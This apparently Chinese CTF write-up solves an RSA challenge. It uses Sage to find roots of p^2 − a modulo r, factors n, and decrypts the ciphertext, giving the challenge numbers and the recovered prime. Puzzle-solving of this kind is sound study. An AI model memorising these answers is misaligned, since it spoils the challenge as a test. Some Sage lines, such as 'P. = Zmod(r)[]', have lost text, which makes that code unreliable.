:指定一个变量的意思(可以用任意字符)
(5) f=(p^2)-a 则是定义一个多项式 f
(6) ans=f.roots()是求解f中所有满足函数的自变量

例如:这道题需要求解   

a \equiv p^2 \quad mod \quad r

将同余式项全部移到一边

0 \equiv p^2 - a \quad mod \quad r 

其中 a r已知 ,需要求解p

sage写:

P.

= Zmod(r)[] f = p^2 - a f.roots()

得到所有满足条件的情况 之后,q=n//p, 判断p*q==n来验证是否成立   之后就 rsa解密模板了

求d 求m

import gmpy2
from Crypto.Util.number import *
n = 14859096721972571275113983218934367817755893152876205380485481243331724183921836088288081702352994668073737901001999266644597320501510110156000004121260529706467596723314403262665291609405901413014268847623323618322794733633701355018297180967414569196496398340411723555826597629318524966741762029358820546567319749619243298957600716201084388836601266780686983787343862081546627427588380349419143512429889606408316907950943872684371787773262968532322073585449855893701828146080616188277162144464353498105939650706920663343245426376506714689749161228876988380824497513873436735960950355105802057279581583149036118078489
r = 145491538843334216714386412684012043545621410855800637571278502175614814648745218194962227539529331856802087217944496965842507972546292280972112841086902373612910345469921148426463042254195665018427080500677258981687116985855921771781242636077989465778056018747012467840003841693555272437071000936268768887299
a = 55964525692779548127584763434439890529728374088765597880759713360575037841170692647451851107865577004136603179246290669488558901413896713187831298964947047118465139235438896930729550228171700578741565927677764309135314910544565108363708736408337172674125506890098872891915897539306377840936658277631020650625
c = 12162333845365222333317364738458290101496436746496440837075952494841057738832092422679700884737328562151621948812616422038905426346860411550178061478808128855882459082137077477841624706988356642870940724988156263550796637806555269282505420720558849717265491643392140727605508756229066139493821648882251876933345101043468528015921111395602873356915520599085461538265894970248065772191748271175288506787110428723281590819815819036931155215189564342305674107662339977581410206210870725691314524812137801739246685784657364132180368529788767503223017329025740936590291109954677092128550252945936759891497673970553062223608
e = 65537
#P.

= PolynomialRing(Zmod(r)) PR.

= Zmod(r)[] f = p^2 - a res = f.roots() print(res) for i in res: p = int(i[0]) q = n // p if p*q != n: continue d = gmpy2.invert(e,(p-1)*(q-1)) m = gmpy2.powmod(c,d,n) print(long_to_bytes(m)) # p=135098300162574110032318082604507116145598393187097375349178563291884099917465443655846455456198422625358836544141120445250413758672683505731015242196083913722084539762488109001442453793004455466844129788221721833309756439196036660458760461237225684006072689852654273913614912604470081753828559417535710077291

你可能感兴趣的:(CTF)